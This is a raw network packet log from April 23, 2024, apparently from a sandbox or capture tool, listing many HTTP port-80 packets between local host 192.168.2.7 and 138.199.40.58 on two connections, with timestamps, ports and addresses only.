Apr 23, 2024 08:39:58.856890917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856924057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856944084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856956005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856967926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856976986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.856978893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.856987953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857014894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857014894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857034922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857048035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857095003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857099056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857167959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857215881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857228994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857251883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857273102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857275009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857332945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857374907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857394934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857462883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857476950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857485056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857487917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857498884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857507944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857507944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857511044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857522964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857528925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857532978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857544899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857553005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857557058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857566118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857568026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857584953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857600927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857620001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857634068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857657909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857657909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857676983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857702017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857707024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857762098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857774973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857799053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857819080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857841015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857858896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857866049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857872009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857923031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857942104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.857974052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857986927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.857995033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858030081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858030081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858052015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858063936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858074903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858094931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858124971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858138084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858144045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858150005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858170986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858171940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858171940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858189106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858192921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858206987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858227015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858244896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858259916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858278036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858280897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858299017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858320951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858335018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858342886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858347893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858397007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858411074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858417988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858460903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858460903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858527899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858541012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858551025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858567953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858619928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858638048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858644962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858654976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858674049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858685970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858695030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858697891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858700037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858740091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858740091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858772039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858822107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858839989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858860016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858874083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858880043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858896971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858907938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858907938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858937025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858949900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858957052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.858961105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.858971119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859009981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859009981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859085083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859097958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859108925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859127045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859132051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859150887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859184027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859196901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859204054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859213114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859232903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859246016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859256029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859267950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859289885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859289885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859311104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859330893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859354019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859374046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859395027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859416008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859435081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859488964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859508038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859536886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859539032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859550953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859601974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859621048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859682083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859695911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859704018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859735012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859755993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859765053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859771013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859817028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859838009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859848976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859862089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859869003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859880924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859904051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859918118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859920979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859930038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859936953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859946012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859949112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859962940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.859978914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.859998941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860001087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860019922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860070944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860089064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860090017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860109091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860131025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860152960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860197067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860209942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860218048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860219955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860225916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860289097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860299110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860300064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860322952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860343933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860343933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860367060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860385895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860389948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860408068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860423088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860443115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860476017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860487938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860495090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860508919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860527992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860583067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860595942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860606909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860608101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860621929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860630035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860641956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860658884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860672951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860678911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860702991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860749960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860769987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860801935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860816956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860837936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860856056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860869884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860888958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860903025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860918999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860938072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860949993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.860956907 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.860970020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861064911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861073971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861085892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861097097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861108065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861157894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861157894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861191034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861238956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861299992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861342907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861350060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861355066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861367941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861380100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861383915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861401081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861417055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861437082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861442089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861442089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861458063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861490011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861491919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861502886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861510038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861541033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861541033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861574888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861588001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861598969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861619949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861620903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861633062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861651897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861654997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861675978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861696005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861706018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861718893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861737967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861749887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861819983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861833096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861845016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861851931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861886024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861886024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861896992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861908913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861921072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861939907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.861952066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.861972094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862040043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862052917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862059116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862077951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862092018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862092018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862150908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862173080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862179041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862190962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862199068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862251043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862267017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862271070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862308979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862308979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862330914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862343073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862380028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862400055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862416983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862428904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862437963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862451077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862468004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862468004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862494946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862508059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862517118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862539053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862557888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862560034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862577915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862596989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862610102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862617016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862667084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862680912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862689018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862714052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862715006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862730026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862744093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862807989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862819910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862826109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862854958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862867117 CEST	80	49704	138.199.40.58	192.168.2.7
